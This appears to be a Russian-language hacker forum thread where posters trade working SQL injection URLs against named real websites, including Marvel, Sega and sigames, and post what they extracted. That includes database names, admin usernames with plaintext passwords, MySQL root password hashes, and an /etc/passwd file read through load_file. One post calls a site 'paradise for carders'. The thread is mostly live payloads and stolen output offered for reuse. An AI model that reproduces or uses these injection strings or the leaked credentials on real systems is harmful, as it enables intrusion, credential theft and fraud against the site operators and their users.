Что то мне подсказывает что за такое и схлопотать можно! -)

В общем бомбочка на десерт.


http://www.marvel.com/wallpaper/?id=17+union+select+1,concat_ws(0x3a3a,version(),u ser(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 ,33,34,35,36,37--

Database Version: 5.0.45
Database name: marvel_content
User name: marvel@192.168.100.3

тИЦ 700
PR 7


Database [catalog]
Database [catalog_transport]
Database [coty]
Database [coverconcepts]
Database [cyos]
Database [digitalcomics]
Database [exact_target]
Database [facebook]
Database [forum]
Database [games]
Database [marvel]
Database [marvel_content]
Database [marvel_toys]
Database [marvelkids]
Database [toybiz]
Database [universe3]
Database [universe4]
Database [users]

Там такая база чтобы открыть у меня трафа ушло на 280 метров.


Getting Data from table marveladmin_users ( Rows) from database marvel
Fields admin_id:member_nameassword

[1]:2:editors:edit_this
[2]:3:dcarr:c0@Rs@1R
[3]:4:jboyle:b!1Nk0nc3
[4]:5:jyoung:cuR7@1ns
[5]:6:jgrunw:7huNd3R
[6]:7:scresp:71gR35%
[7]:8otiek:kuR015@n
[8]:9:dweins:fR@nk3n
[9]:10:justjg:wH7n07
[10]:11acer:h0m3R

Далее для кардеров это просто рай -)

Trasher88 не там крутишь смысла особого не вижу напрямую глянь -)

http://www.sega.com/games/?g=239&v=1062+UNION+SELECT+1,2,3,CONCAT(0x7873716C 696E6A626567696E,Version(),0x2F2A2A2F,Database(),0 x2F2A2A2F,User(),0x7873716C696E6A656E64),5,6,7,8,9 ,10--


Database Version: 5.0.58-enterprise-gpl-log
Database name: segapass
User name: frontend@172.16.24.8

тИЦ = 600
PageRank = 7

Прикольный вывод:

http://www.playsega.co.uk/games/?action=listByGenre&gt=2+union+select+user(),2,3+l imit+10,10--

5.0.58-enterprise-gpl-log
frontend@172.16.24.21
playsega

http://www.playsega.co.uk/games/?action=listByGenre&gt=2+union+select+concat_ws(0x 3a3a,user,password),2,3+from+mysql.user--

root *344451511741E0CC0B73A39418BAFF52CAB438B2

Во нате:
http://www.xxx.ru/index.php?res=1280&action=anketa&country=-1+UNION+SELECT+1,2,3,4,version(),6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ,30,31,31,32,33,34,35,36,37,38,39/*

4.1.22
Нашол только табличку users

PR4
http://d3162.u24.comservers.net/news.php?id=2+union+select+1,version(),3,4,5,6,7,8 ,9--
4.0.26-standard

+
PR5
http://www.sistersofprovidence.net/news.php?id=-26+union+select+version(),2,3--
4.0.24

+
PR6
http://www.privatizationbarometer.net/news.php?id=-15793+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,version()--
4.1.11-Debian_4sarge8-log

+
http://alliance.gloderworks.net/news.php?ID=-119+union+select+1,version(),3,4,5,6,7,8,9,10,11--
5.0.67

http://www.mobihod.ru/news_2.0.php?detail=-128+union+select+1,2,3,4,5,concat_ws(0x3a3a,versio n(),user(),database()),7--

Version:5.0.51a-log
User:h000175_1_1@localhost
database:h000175_1


http://www.master-shin.ru/detail_news.php?ID=-390+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,vers ion(),user(),database())--

5 5.0.51a-log
h000163_1_1@localhost
d003045_1


http://www.agsk.ru/index.php?page=0&catalog=5+union+select+1,2,3,4,co ncat_ws(0x3a3a,version(),user(),database()),6,7,8, 9,10--


5.0.58-log
agronom@localhost
agronom

Все работы от www.renessans-studio.ru

Всё под скулями.

Есть...

http://www.sigames.com/downloads.php?type=view&id=20999+union+select+aes_ decrypt(aes_encrypt(version(),0x71),0x71),2,aes_de crypt(aes_encrypt(user(),0x71),0x71),aes_decrypt(a es_encrypt(database(),0x71),0x71),5,6,7,8,9,10,11, 12,13,14,15,16,17/*

4.1.13-standard:si_admin@62.73.186.72:sigames_v2

http://www.sigames.com/downloads.php?type=view&id=20999+union+select+user ,2,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17+fr om+mysql.user+limit+0,1/*

Есть доступ к mysql.user

http://www.sigames.com/downloads.php?type=view&id=20999+union+select+load _file('/etc/passwd'),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+f rom+mysql.user/*

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13roxy:/bin:/bin/sh
postgres:x:31:32ostgres:/var/lib/postgres:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
sshd:x:100:65534::/var/run/sshd:/bin/false
stan:x:1000:100::/home/stan:/bin/bash
jason:x:1001:100::/home/jason:/bin/bash
Debian-exim:x:103:103::/var/spool/exim4:/bin/false
mysql:x:1002:104::/home/mysql:
bb:x:1003:105::/home/bb:
hobbit:x:1004:106:Hobbit user:/usr/lib/hobbit:

У юзера есть права на чтение файлов но из веб дир вывести ничего не получилось.
Может у кого чего иполучится.Удачи!

root::*B80F079A936E4FCA95C38E7313DC13A6352F34DB

Тиц:180
PR: 4
Version: 4.1.21
database: 7samuraev
user: root@localhost